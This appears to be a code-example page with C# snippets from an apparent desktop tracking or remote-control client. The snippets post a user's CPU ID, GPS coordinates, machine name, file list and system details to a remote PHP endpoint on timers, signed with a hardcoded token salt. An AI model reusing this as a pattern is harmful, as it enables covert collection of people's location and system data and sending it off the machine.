Esempio n. 1
0
        private void LocationTimer_Tick(object sender, EventArgs e)
        {
            var response = http.Post(mainserver + "sn-asend.php", new NameValueCollection()
            {
                { "act", "updatelocation" },
                { "user", user },
                { "cpuid", ComputerInfo.getCPUID() },
                { "latitude", strLocationLat },
                { "longitude", strLocationLong },
                { "token", encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
            });
            string result = System.Text.Encoding.UTF8.GetString(response);

            lblHello.Text = result;
            if (result != "INSERT_PCINFO_ERROR")
            {
                LocationTimer.Start();
            }
        }
Esempio n. 2
0
 void SendData()
 {
     // Send File
     try
     {
         var response = http.Post(mainserver + "sn-asend.php", new NameValueCollection()
         {
             { "act", "updatepcinfo" },
             { "user", user },
             { "cpuid", ComputerInfo.getCPUID() },
             { "pcname", Environment.MachineName },
             { "filelist", txtColor.Text },
             { "more", "OS: " + cpinfo.GetPcInfo("Caption") + Environment.NewLine + "Manufacturer: " + cpinfo.GetPcInfo("manufacturer") + Environment.NewLine + "Model: " + cpinfo.GetPcInfo("model") },
             { "token", encrypt.md5("876d4ce235fe510a3141db3158339c5e" + rnd.Next(10).ToString()) }
         });
         string result = System.Text.Encoding.UTF8.GetString(response);
         lblHello.Text = result;
         if (result != "INSERT_PCINFO_ERROR")
         {
             LocationTimer.Start();
             OnlineTimer.Start();
             QueryTimer.Start();
             try{
                 if (int.Parse(result) > -1)
                 {
                     FTPserverid = int.Parse(result);
                 }
             }
             catch {
             }
         }
         lblHello.ForeColor = Color.Blue;
     }
     catch
     {
         lblHello.ForeColor = Color.LightPink;
     }
 }
        protected override void OnLoad(EventArgs e)
        {
            base.OnLoad(e);

            LocationTimer.Start();
        }